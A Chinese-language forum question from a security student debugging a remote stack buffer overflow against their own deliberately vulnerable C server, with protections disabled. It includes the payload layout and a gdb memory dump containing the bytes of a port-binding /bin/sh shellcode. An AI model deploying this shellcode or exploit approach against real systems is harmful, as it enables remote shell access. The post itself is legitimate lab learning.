我是一名计算机安全专业的学生,我正在做一个关于远程缓冲区溢出的项目。我用 C 语言开发了一个易受攻击的服务器,不安全地使用了 strncpy 函数,该函数实际上在 512 字节缓冲区上复制了 1024 字节,并利用了一个漏洞来测试漏洞。
我的服务器代码的结构基本上是这样的:
main()
{
/* socket programming stuff here */
/* accept input string with busy waiting loop */
/* call vulnerable function to process string */
/* the rest of the code should be never executed if attack succeeds*/
}
vuln (descriptor, pointer to buffer)
{
/* copies to smaller buffer overflowing it to overwrite return address */
/* call other_function */
/* returns control to main */
}
other_function()
{
/* do other stuff */
}
我使用 -fno-stack-protector、-static 和 -z execstack 标志编译它,并在我的 Ubuntu 机器上关闭了 ASLR。
一般的想法是执行一个简单的端口绑定shellcode并获得一个远程shell。问题是我在 gdb 上继续收到以下错误:
" 警告:无法插入断点 0。访问内存地址 0x90909090 时出错:输入/输出错误。
0xbffec8c 在 ?? ()"
将执行流程从易受攻击的函数恢复到调用 main 的返回地址位于地址 0xbfffedc4:
0xbffffedbc: 0x08049940 0xbffff258 0x08049097 0x00000008
我设法用一个指向我的 nop 雪橇的有意义的地址覆盖它,但由于某种原因,我无法让我的机器执行 NOP 指令以最终到达 shellcode。恶意缓冲区的总体布局是:
[nop sled (大约 420 字节)] [shellcode] [repeated ret addr] 0xbfffebbc - 0xbfffed5c 0xbfffed60 0xbfffedbc - 0xbffffefb4
...并且 EIP 被重定向到 0xbffec8c,大致位于 NOP 雪橇的中间。
segfault 错误后,info r
表示 EIP 已正确加载所需地址 (0xbfffec8c):
eax 0xffffffff -1
ecx 0x80f3840 135215168
edx 0x61e 1566
ebx 0x0 0
esp 0xbfffedc8 0xbfffedc8
ebp 0xbfffec8c 0xbfffec8c
esi 0x0 0
edi 0xbfffec8c -1073746804
eip 0xbfffec8c 0xbfffec8c
eflags 0x282 [ SF IF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
...如果我反汇编堆栈内存的那个区域,我会得到预期的缓冲区内容(许多 0x90 后跟我的 shellcode):
(gdb) x/128xw 0xbfffec8c
0xbfffec8c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffec9c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffecac: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffecbc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffeccc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffecdc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffecec: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffecfc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffed0c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffed1c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffed2c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffed3c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffed4c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbfffed5c: 0x90909090 0x9958666a 0x5243db31 0x026a016a
0xbfffed6c: 0x80cde189 0x58666a96 0x68665243 0x5366697a
0xbfffed7c: 0x106ae189 0xe1895651 0x66b080cd 0x56534343
0xbfffed8c: 0x80cde189 0x524366b0 0xe1895652 0x6a9380cd
0xbfffed9c: 0x3fb05902 0x794980cd 0x520bb0f9 0x732f2f68
0xbfffedac: 0x622f6868 0xe3896e69 0x53e28952 0x80cde189
0xbfffedbc: 0xbfffec8c 0xbfffec8c 0xbfffec8c 0xbfffec8c
请帮助我找出问题所在,如果您能够从我提供的信息中识别出问题,而不是确切的解决方案,那么只是关于我应该寻找什么的提示或建议。我不想作弊:)
感谢您的时间。亲切的问候,曼科